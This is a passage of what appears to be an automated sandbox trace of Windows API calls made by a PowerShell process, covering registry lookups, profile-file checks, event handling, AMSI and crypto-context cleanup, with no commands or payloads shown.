ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0095.650] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e3a8) returned 1 [0095.650] WldpGetLockdownPolicy () returned 0x0 [0095.650] GetSystemInfo (in: lpSystemInfo=0x427e454 | out: lpSystemInfo=0x427e454*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0095.650] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e3e0 | out: phkResult=0x427e3e0*=0x528) returned 0x0 [0095.650] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e3fc, lpData=0x0, lpcbData=0x427e3f8*=0x0 | out: lpType=0x427e3fc*=0x0, lpData=0x0, lpcbData=0x427e3f8*=0x0) returned 0x2 [0095.650] RegCloseKey (hKey=0x528) returned 0x0 [0095.650] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e434 | out: phkResult=0x427e434*=0x528) returned 0x0 [0095.650] RegQueryValueExW (in: hKey=0x528, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x427e454, lpData=0x0, lpcbData=0x427e450*=0x0 | out: lpType=0x427e454*=0x1, lpData=0x0, lpcbData=0x427e450*=0x56) returned 0x0 [0095.650] RegQueryValueExW (in: hKey=0x528, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x427e454, lpData=0x6fd84b8, lpcbData=0x427e450*=0x56 | out: lpType=0x427e454*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x427e450*=0x56) returned 0x0 [0095.650] RegCloseKey (hKey=0x528) returned 0x0 [0095.650] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e434 | out: phkResult=0x427e434*=0x528) returned 0x0 [0095.650] RegQueryValueExW (in: hKey=0x528, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x427e454, lpData=0x0, lpcbData=0x427e450*=0x0 | out: lpType=0x427e454*=0x1, lpData=0x0, lpcbData=0x427e450*=0x56) returned 0x0 [0095.651] RegQueryValueExW (in: hKey=0x528, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x427e454, lpData=0x6fd8830, lpcbData=0x427e450*=0x56 | out: lpType=0x427e454*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x427e450*=0x56) returned 0x0 [0095.651] RegCloseKey (hKey=0x528) returned 0x0 [0095.651] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0095.651] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x42c9ac0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned 0x0 [0095.651] CoTaskMemFree (pv=0x42c9ac0) [0095.651] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents", nBufferLength=0x105, lpBuffer=0x427df20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpFilePart=0x0) returned 0x1f [0095.651] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0095.651] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x42c9ac0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned 0x0 [0095.651] CoTaskMemFree (pv=0x42c9ac0) [0095.651] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents", nBufferLength=0x105, lpBuffer=0x427df20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpFilePart=0x0) returned 0x1f [0095.655] CoTaskMemAlloc (cb=0x25c) returned 0x43b3518 [0095.655] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x43b3518, nSize=0x12c | out: lpBuffer="") returned 0x0 [0095.655] CoTaskMemFree (pv=0x43b3518) [0095.729] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\profile.ps1", nBufferLength=0x105, lpBuffer=0x427df98, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\profile.ps1", lpFilePart=0x0) returned 0x36 [0095.729] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e3f8) returned 1 [0095.729] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\profile.ps1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\profile.ps1"), fInfoLevelId=0x0, lpFileInformation=0x427e474 | out: lpFileInformation=0x427e474*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0095.730] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e3f4) returned 1 [0095.730] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Microsoft.PowerShell_profile.ps1", nBufferLength=0x105, lpBuffer=0x427df98, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Microsoft.PowerShell_profile.ps1", lpFilePart=0x0) returned 0x4b [0095.730] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e3f8) returned 1 [0095.730] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Microsoft.PowerShell_profile.ps1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\microsoft.powershell_profile.ps1"), fInfoLevelId=0x0, lpFileInformation=0x427e474 | out: lpFileInformation=0x427e474*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0095.730] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e3f4) returned 1 [0095.730] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\profile.ps1", nBufferLength=0x105, lpBuffer=0x427df98, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\profile.ps1", lpFilePart=0x0) returned 0x3d [0095.730] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e3f8) returned 1 [0095.730] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\profile.ps1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\profile.ps1"), fInfoLevelId=0x0, lpFileInformation=0x427e474 | out: lpFileInformation=0x427e474*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0095.730] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e3f4) returned 1 [0095.730] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Microsoft.PowerShell_profile.ps1", nBufferLength=0x105, lpBuffer=0x427df98, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Microsoft.PowerShell_profile.ps1", lpFilePart=0x0) returned 0x52 [0095.730] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e3f8) returned 1 [0095.730] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Microsoft.PowerShell_profile.ps1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\microsoft.powershell_profile.ps1"), fInfoLevelId=0x0, lpFileInformation=0x427e474 | out: lpFileInformation=0x427e474*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0095.731] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e3f4) returned 1 [0095.733] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x528 [0095.733] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x6f0 [0095.733] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x6f8 [0095.733] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x6fc [0095.733] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x714 [0095.733] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x708 [0095.733] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x710 [0095.733] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x724 [0095.733] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x704 [0095.734] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x71c [0095.734] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x728 [0095.734] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x700 [0095.735] GetStdHandle (nStdHandle=0xfffffff6) returned 0x38 [0095.735] GetFileType (hFile=0x38) returned 0x2 [0095.736] SetEvent (hEvent=0x6fc) returned 1 [0095.736] SetEvent (hEvent=0x528) returned 1 [0095.736] SetEvent (hEvent=0x6f0) returned 1 [0095.736] SetEvent (hEvent=0x6f8) returned 1 [0095.736] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x72c [0095.737] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e368 | out: phkResult=0x427e368*=0x730) returned 0x0 [0095.737] RegQueryValueExW (in: hKey=0x730, lpValueName="PipelineMaxStackSizeMB", lpReserved=0x0, lpType=0x427e388, lpData=0x0, lpcbData=0x427e384*=0x0 | out: lpType=0x427e388*=0x0, lpData=0x0, lpcbData=0x427e384*=0x0) returned 0x2 [0095.737] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x70c [0095.738] SetEvent (hEvent=0x70c) returned 1 [0141.882] AmsiCloseSession () returned 0x475aaa0 [0141.882] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x768 [0141.882] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x778 [0141.883] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x77c [0141.883] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x780 [0141.883] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x798 [0141.883] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x784 [0141.883] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x81c [0141.883] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x8d0 [0141.883] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x79c [0141.883] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x78c [0141.883] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x850 [0141.883] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x8d4 [0141.883] SetEvent (hEvent=0x780) returned 1 [0141.883] SetEvent (hEvent=0x768) returned 1 [0141.883] SetEvent (hEvent=0x778) returned 1 [0141.883] SetEvent (hEvent=0x77c) returned 1 [0141.883] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x8e4 [0141.884] SetEvent (hEvent=0x70c) returned 1 [0141.906] SetEvent (hEvent=0x798) returned 1 [0141.906] SetEvent (hEvent=0x784) returned 1 [0141.906] SetEvent (hEvent=0x81c) returned 1 [0142.847] CoCreateGuid (in: pguid=0x427de44 | out: pguid=0x427de44*(Data1=0x4ec4e31c, Data2=0x1486, Data3=0x4baf, Data4=([0]=0x8e, [1]=0x9d, [2]=0x87, [3]=0xbe, [4]=0x93, [5]=0x5b, [6]=0x82, [7]=0x35))) returned 0x0 [0142.849] ReportEventW (hEventLog=0x8b10004, wType=0x4, wCategory=0x4, dwEventID=0x193, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x6a67680*="Stopped", lpRawData=0x6a675a8) returned 1 [0142.850] AmsiCloseSession () returned 0x475aaa0 [0142.850] AmsiUninitialize () returned 0x1 [0142.860] SetEvent (hEvent=0x70c) returned 1 [0143.527] CloseHandle (hObject=0x70c) returned 1 [0143.527] SetConsoleCtrlHandler (HandlerRoutine=0x0, Add=0) returned 1 [0143.529] CoGetContextToken (in: pToken=0x427f568 | out: pToken=0x427f568) returned 0x0 [0143.529] CObjectContext::QueryInterface () returned 0x0 [0143.529] CObjectContext::GetCurrentThreadType () returned 0x0 [0143.529] Release () returned 0x0 [0143.529] CoGetContextToken (in: pToken=0x427f284 | out: pToken=0x427f284) returned 0x0 [0143.529] CObjectContext::QueryInterface () returned 0x0 [0143.529] CObjectContext::GetCurrentThreadType () returned 0x0 [0143.529] Release () returned 0x0 [0143.531] CoGetContextToken (in: pToken=0x427f284 | out: pToken=0x427f284) returned 0x0 [0143.531] CObjectContext::QueryInterface () returned 0x0 [0143.531] CObjectContext::GetCurrentThreadType () returned 0x0 [0143.531] Release () returned 0x0 [0143.722] CoGetContextToken (in: pToken=0x427f284 | out: pToken=0x427f284) returned 0x0 [0143.722] CObjectContext::QueryInterface () returned 0x0 [0143.722] CObjectContext::GetCurrentThreadType () returned 0x0 [0143.722] Release () returned 0x0 [0143.926] CoGetContextToken (in: pToken=0x427f284 | out: pToken=0x427f284) returned 0x0 [0143.926] CObjectContext::QueryInterface () returned 0x0 [0143.926] CObjectContext::GetCurrentThreadType () returned 0x0 [0143.926] Release () returned 0x0 [0144.158] CoGetContextToken (in: pToken=0x427f284 | out: pToken=0x427f284) returned 0x0 [0144.158] CObjectContext::QueryInterface () returned 0x0 [0144.158] CObjectContext::GetCurrentThreadType () returned 0x0 [0144.158] Release () returned 0x0 [0144.348] CoGetContextToken (in: pToken=0x427f284 | out: pToken=0x427f284) returned 0x0 [0144.348] CObjectContext::QueryInterface () returned 0x0 [0144.348] CObjectContext::GetCurrentThreadType () returned 0x0 [0144.348] Release () returned 0x0 [0144.551] CoGetContextToken (in: pToken=0x427f284 | out: pToken=0x427f284) returned 0x0 [0144.551] CObjectContext::QueryInterface () returned 0x0 [0144.551] CObjectContext::GetCurrentThreadType () returned 0x0 [0144.551] Release () returned 0x0 [0144.754] CoGetContextToken (in: pToken=0x427f284 | out: pToken=0x427f284) returned 0x0 [0144.754] CObjectContext::QueryInterface () returned 0x0 [0144.754] CObjectContext::GetCurrentThreadType () returned 0x0 [0144.754] Release () returned 0x0 [0144.837] CoGetContextToken (in: pToken=0x427f284 | out: pToken=0x427f284) returned 0x0 [0144.837] CObjectContext::QueryInterface () returned 0x0 [0144.837] CObjectContext::GetCurrentThreadType () returned 0x0 [0144.837] Release () returned 0x0 [0145.035] CoGetContextToken (in: pToken=0x427f284 | out: pToken=0x427f284) returned 0x0 [0145.035] CObjectContext::QueryInterface () returned 0x0 [0145.035] CObjectContext::GetCurrentThreadType () returned 0x0 [0145.035] Release () returned 0x0 [0145.228] CoGetContextToken (in: pToken=0x427f29c | out: pToken=0x427f29c) returned 0x0 [0145.228] CObjectContext::QueryInterface () returned 0x0 [0145.228] CObjectContext::GetCurrentThreadType () returned 0x0 [0145.228] Release () returned 0x0 [0145.228] CoUninitialize () Thread: id = 16 os_tid = 0xb68 Thread: id = 17 os_tid = 0x150 Thread: id = 18 os_tid = 0x414 Thread: id = 19 os_tid = 0x264 Thread: id = 20 os_tid = 0xd30 Thread: id = 21 os_tid = 0xd8c Thread: id = 22 os_tid = 0xce4 [0059.089] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0059.089] RoInitialize () returned 0x1 [0059.104] RoUninitialize () returned 0x0 [0089.382] CloseHandle (hObject=0x4b0) returned 1 [0089.383] CloseHandle (hObject=0x4bc) returned 1 [0091.784] CertFreeCertificateContext (pCertContext=0x8c42d20) returned 1 [0093.517] CertFreeCertificateContext (pCertContext=0x8c43130) returned 1 [0094.589] CertFreeCertificateContext (pCertContext=0x8c42910) returned 1 [0094.589] CertFreeCertificateContext (pCertContext=0x8c43130) returned 1 [0108.982] CoGetContextToken (in: pToken=0x84ef430 | out: pToken=0x84ef430) returned 0x0 [0108.982] CoGetContextToken (in: pToken=0x84ef3b8 | out: pToken=0x84ef3b8) returned 0x0 [0108.982] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::Release () returned 0x1 [0108.982] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::Release () returned 0x0 [0108.991] CertFreeCertificateContext (pCertContext=0x8c42e60) returned 1 [0108.991] RegCloseKey (hKey=0x730) returned 0x0 [0108.991] CertFreeCertificateContext (pCertContext=0x8c42910) returned 1 [0108.991] CloseHandle (hObject=0x884) returned 1 [0108.991] CloseHandle (hObject=0x750) returned 1 [0108.992] CloseHandle (hObject=0x880) returned 1 [0108.992] CloseHandle (hObject=0x878) returned 1 [0108.992] CloseHandle (hObject=0x874) returned 1 [0108.992] CloseHandle (hObject=0x870) returned 1 [0108.992] CertFreeCertificateContext (pCertContext=0x8c434a0) returned 1 [0108.992] CloseHandle (hObject=0x86c) returned 1 [0108.992] CertFreeCertificateContext (pCertContext=0x8c43130) returned 1 [0108.992] CloseHandle (hObject=0x868) returned 1 [0108.993] CloseHandle (hObject=0x864) returned 1 [0108.993] CloseHandle (hObject=0x860) returned 1 [0108.993] CloseHandle (hObject=0x858) returned 1 [0108.993] CloseHandle (hObject=0x81c) returned 1 [0108.994] CertFreeCertificateContext (pCertContext=0x8c434f0) returned 1 [0108.994] CloseHandle (hObject=0x84c) returned 1 [0108.994] CertFreeCertificateContext (pCertContext=0x8c42a50) returned 1 [0115.276] CloseHandle (hObject=0x84c) returned 1 [0115.276] CloseHandle (hObject=0x86c) returned 1 [0115.276] CloseHandle (hObject=0x858) returned 1 [0115.276] CloseHandle (hObject=0x844) returned 1 [0115.276] CloseHandle (hObject=0x864) returned 1 [0115.276] CloseHandle (hObject=0x870) returned 1 [0115.277] CloseHandle (hObject=0x868) returned 1 [0115.277] CloseHandle (hObject=0x81c) returned 1 [0115.277] CloseHandle (hObject=0x860) returned 1 [0122.536] SysStringLen (param_1="\xcb0b\x3907\xef6b\x48e6\xfceb\xcb5f\xf9a4\xc549\x02") returned 0x10 [0122.536] CloseHandle (hObject=0x870) returned 1 [0122.536] CloseHandle (hObject=0x868) returned 1 [0122.536] CloseHandle (hObject=0x850) returned 1 [0122.536] CloseHandle (hObject=0x81c) returned 1 [0122.536] CloseHandle (hObject=0x860) returned 1 [0123.703] CloseHandle (hObject=0x884) returned 1 [0123.703] CloseHandle (hObject=0x750) returned 1 [0123.704] CloseHandle (hObject=0x880) returned 1 [0123.704] CloseHandle (hObject=0x864) returned 1 [0123.704] CryptReleaseContext (hProv=0x4396a38, dwFlags=0x0) returned 1 [0123.704] CloseHandle (hObject=0x878) returned 1 [0123.704] CertFreeCertificateContext (pCertContext=0x8c43cc0) returned 1 [0123.704] CertFreeCertificateContext (pCertContext=0x8c445d0) returned 1 [0123.704] CloseHandle (hObject=0x874) returned 1 [0123.704] CryptDestroyKey (hKey=0x8e85378) returned 1 [0123.705] CryptReleaseContext (hProv=0x4396a38, dwFlags=0x0) returned 1 [0123.705] CertFreeCertificateContext (pCertContext=0x8c43fe0) returned 1 [0126.314] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\x15fe\x71e2\x2b41\xa2b7\xd21a\x5420\x8e3e\xbd4a") returned 0x30 [0126.314] CryptDestroyKey (hKey=0x8e84bb8) returned 1 [0126.314] CryptReleaseContext (hProv=0x4396a38, dwFlags=0x0) returned 1 [0126.314] CryptReleaseContext (hProv=0x4396a38, dwFlags=0x0) returned 1 [0126.314] CryptDestroyKey (hKey=0x8e85538) returned 1 [0126.314] CryptReleaseContext (hProv=0x8e03460, dwFlags=0x0) returned 1 [0126.314] CryptReleaseContext (hProv=0x8e03460, dwFlags=0x0) returned 1 [0126.314] CryptDestroyKey (hKey=0x8e84c78) returned 1 [0126.314] CryptReleaseContext (hProv=0x8e027a0, dwFlags=0x0) returned 1 [0126.315] CryptReleaseContext (hProv=0x8e027a0, dwFlags=0x0) returned 1 [0126.315] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\x958d\xadc4\x9b18\x9957\x28e3\x9f47\xebe4\xd1e7\x6ef7\xd3ba\xc525\x9441\xa5c0\x2009\x24cf\x5277\xc811\x6b8\x1c78\xb13e\x32ca\x648c\x63ef\xa687\x71a8\x7d31\xc0bd\x99f6\xbe73\x3aa7\x417d\x4c64\xff75\xaa8f\x8fa0\x6ecb\x4909\x3f94\xfbb5\x412f") returned 0x30 [0126.315] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\x2fba\x4aeb\xa898\xeb02\xa2f3\x1a32\xeb6e\xcdab\x9488\x36d9\x8411\x3943\xb112\x17af\xd7dd\x8b8\x28c9\x597e\xa9a0\x4434\x5421\xf595\x2fa2\x6a7d\x2e3f\x2400\xc9bd\x6703\xd44b\x3a93\xadbc\xa38e\xe73\x4deb\x1fb7\xc819\xb8c5\x2f25\x56f6\x954f") returned 0x30 [0126.315] CryptDestroyKey (hKey=0x8e84f38) returned 1 [0126.315] CryptReleaseContext (hProv=0x8e022d8, dwFlags=0x0) returned 1 [0126.315] CryptReleaseContext (hProv=0x8e022d8, dwFlags=0x0) returned 1 [0126.315] CryptDestroyKey (hKey=0x8e84d38) returned 1 [0126.315] CryptReleaseContext (hProv=0x8e022d8, dwFlags=0x0) returned 1 [0126.315] CryptDestroyKey (hKey=0x8e84b78) returned 1 [0126.315] CryptReleaseContext (hProv=0x43964e8, dwFlags=0x0) returned 1 [0126.315] CryptReleaseContext (hProv=0x43964e8, dwFlags=0x0) returned 1 [0126.315] CryptDestroyKey (hKey=0x8e84bf8) returned 1 [0126.315] CryptReleaseContext (hProv=0x4396b48, dwFlags=0x0) returned 1 [0126.315] CryptReleaseContext (hProv=0x4396b48, dwFlags=0x0) returned 1 [0126.315] CryptReleaseContext (hProv=0x8e022d8, dwFlags=0x0) returned 1 [0126.316] CryptDestroyKey (hKey=0x8e850b8) returned 1 [0126.316] CryptReleaseContext (hProv=0x8e027a0, dwFlags=0x0) returned 1 [0126.316] CryptReleaseContext (hProv=0x8e027a0, dwFlags=0x0) returned 1 [0126.316] CryptDestroyKey (hKey=0x8e850f8) returned 1 [0126.316] CryptReleaseContext (hProv=0x8e02828, dwFlags=0x0) returned 1 [0126.316] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\x15fe\x71e2\x2b41\xa2b7\xd21a\x5420\x8e3e\xbd4a") returned 0x30 [0126.316] CryptReleaseContext (hProv=0x8e02828, dwFlags=0x0) returned 1 [0126.316] CryptDestroyKey (hKey=0x8e84cb8) returned 1 [0126.316] CryptReleaseContext (hProv=0x8e028b0, dwFlags=0x0) returned 1 [0126.316] CryptDestroyKey (hKey=0x8e849b8) returned 1 [0126.316] CryptReleaseContext (hProv=0x4396b48, dwFlags=0x0) returned 1 [0126.316] CryptReleaseContext (hProv=0x4396b48, dwFlags=0x0) returned 1 [0126.316] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\x15fe\x71e2\x2b41\xa2b7\xd21a\x5420\x8e3e\xbd4a") returned 0x30 [0126.316] CryptReleaseContext (hProv=0x8e028b0, dwFlags=0x0) returned 1 [0126.317] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\x15fe\x71e2\x2b41\xa2b7\xd21a\x5420\x8e3e\xbd4a") returned 0x30 [0126.317] CryptDestroyKey (hKey=0x8e84df8) returned 1 [0126.317] CryptReleaseContext (hProv=0x8e021c8, dwFlags=0x0) returned 1 [0126.317] CryptDestroyKey (hKey=0x8e85078) returned 1 [0126.317] CryptReleaseContext (hProv=0x4396570, dwFlags=0x0) returned 1 [0126.317] CryptReleaseContext (hProv=0x4396570, dwFlags=0x0) returned 1 [0126.317] CryptDestroyKey (hKey=0x8e84d78) returned 1 [0126.317] CryptReleaseContext (hProv=0x8e028b0, dwFlags=0x0) returned 1 [0126.317] SysStringLen (param_1="\x29f6\x6478\xfa7d\x9ce3\xaecb\xf29a\xc8a9\x6c88\x7900\xd68f\x408b\xf30\x87ac\x4aaf\x4758\x4046\xf2c\x4c69\x90b5\x2de5\xe387\x7c75\x6a26\xdf14\x7f2b\x2fa3\xc65f\x16bf\x1944\x3325\x8ab2\x9058\xf197\xc57\xfd39\x64c8\xc860\x85f4\x3e55\x5826\xa3c9\xaef5\x1f9\x1172\xbdcc\x10b8\xd53d\xff0d") returned 0x30 [0126.317] CryptReleaseContext (hProv=0x8e028b0, dwFlags=0x0) returned 1 [0126.317] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\xdead\xeb79\xa3a8\x18ac\xa115\x5d79\x57f4\xc6d7\x8534\x69b9\xc24\xc9d9\x39bc\x9ccb\x1de9\x90e6\xba6d\x9eca\x4e15\xb05a\xb861\x2575\x5685\xf208\xd357\x4fe9\x317c\x2df0\xf3e8\xdda1\x23d0\x6635\x7da5\xb5d\xcc6a\xd77\xa297\x69f2\xe1c5\x2a7b") returned 0x30 [0126.317] CryptReleaseContext (hProv=0x8e021c8, dwFlags=0x0) returned 1 [0126.318] SysStringLen 